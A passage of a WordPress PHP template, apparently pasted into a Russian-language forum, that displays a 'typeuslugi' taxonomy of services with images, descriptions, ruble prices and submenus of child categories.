                    <p  class="descterm"><?php echo term_description( $term->term_id, 'typeuslugi' ) ?></p>
                    <? if($price !== '') { ?><p class="price"><? echo $price ?><span> руб</span></p><? } ?>
                    <a class="orangemore" href="/typeuslugi/<? echo $term->slug; ?>">подробнее</a>
                </div>
                
 
 <? } ?>



<? }elseif(($parent->term_id=="") && (sizeof($children)>0)) { ?>

<!--no parent, has child-->

<?php
  $terms = get_terms('typeuslugi', array ('parent'=>$term->term_id,  'orderby'=>'id', 'hide_empty' => 0, 'hierarchical' => 0));
  $count = count($terms); 
  foreach ($terms as $term) {  
  $custom_field = get_field('catimg', 'typeuslugi_' . $term->term_id  );
  $price = get_field('price', 'typeuslugi_' . $term->term_id);
?>
 
 <div class="subfundament">
                    <a href="/typeuslugi/<? echo $term->slug; ?>" title="<? echo $term->name; ?>"><img src="<? echo $custom_field['sizes']['term']; ?>"  /></a>
                    <h3><? echo $term->name; ?></h3>
                    
                    <div class="descterm"><?php echo term_description( $term->term_id, 'typeuslugi' ) ?></div>
                    <? if($price !== '') { ?><p class="price"><? echo $price ?><span> руб</span></p><? } ?>
                    
<?php
$term = get_queried_object();

$children = get_terms( $term->taxonomy, array(
'child_of'    => $term->term_id,
'hide_empty' => false
) );
// print_r($children); // uncomment to examine for debugging
if($children) {  ?>
<ul id="nav">
            <li><a href="#">Категории</a>
                <ul><? wp_list_categories('taxonomy=typeuslugi&show_count=0&hide_empty=0&title_li=&child_of='. $term->term_id); ?></ul>
            </li>
        </ul>        
<? } else { ?>
Подробнее
<? } ?>
    
    
                    
                </div>
                
 
 <? } ?>

<? } else { ?>

<!--has parent, no child-->
    <p>Тут будут записи</p>

        <? } ?>
Anonymous
Отправить
Ответ на: